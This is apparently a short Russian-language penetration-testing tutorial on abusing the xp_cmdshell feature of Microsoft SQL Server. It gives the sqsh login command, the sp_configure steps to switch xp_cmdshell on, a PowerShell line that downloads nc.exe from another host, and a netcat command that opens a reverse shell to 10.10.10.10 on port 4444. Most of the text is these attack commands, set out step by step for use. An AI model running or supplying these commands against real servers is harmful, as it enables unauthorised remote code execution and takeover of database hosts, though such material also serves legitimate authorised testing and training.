MS SQL (xp_cmdshell)

MS SQL (xp_cmdshell)

Max Alexeev (@wi_max)

Что такое xp_cmdshell?

 Это функционал, реализующий запуск командной строки Windows и позволяющий передавать команды для выполнения. Грубо говоря, этот механизм позволяет выполнять команды в системе из под MS SQL Server. Это решение было предложено для автоматизации различных задач, требующих одновременного выполнения и SQL-запросов и команд в системе. Однако, данный функционал может быть выключен администратором системы. Перед использованием, необходимо проверить его доступность.


Как проверить, активен или нет?

Для проверки факта активности xp_cmdshell можно использовать утилиту sqsh.

Для начала, необходимо подключиться к MS SQL:

sqsh -S 10.10.10.10 -U Admin -P "Password"

Дальше попытаться выполнить команду:

xp_cmdshell 'whoami';

go

Данное сообщение означает, что функционал xp_cmdshell отключен.


Как включить xp_cmdshell?

Для активации, необходимо последовательное выполнение следующих команд:

EXEC sp_configure 'show advanced options', 1;

EXEC sp_configure 'xp_cmdshell', 1;

RECONFIGURE;

go

Проверим, можем ли мы выполнять команды:

xp_cmdshell 'whoami';

go

Как видно, теперь мы можем выполнять команды в системе.


Получаем реверс-шелл, используя xp_cmdshell

Для этого сперва загрузим скомпилированную версию nc.exe для Windows:

xp_cmdshell "powershell.exe wget http://10.10.10.20/nc.exe -OutFile c:\\Users\Public\\nc.exe"

После получаем реверс-шелл:

xp_cmdshell 'c:\\Users\\Public\\nc.exe -e cmd.exe 10.10.10.10 4444'

Видим, что мы успешно получили реверс-шелл в систему, используя небезопасный функционал xp_cmdshell.




Report Page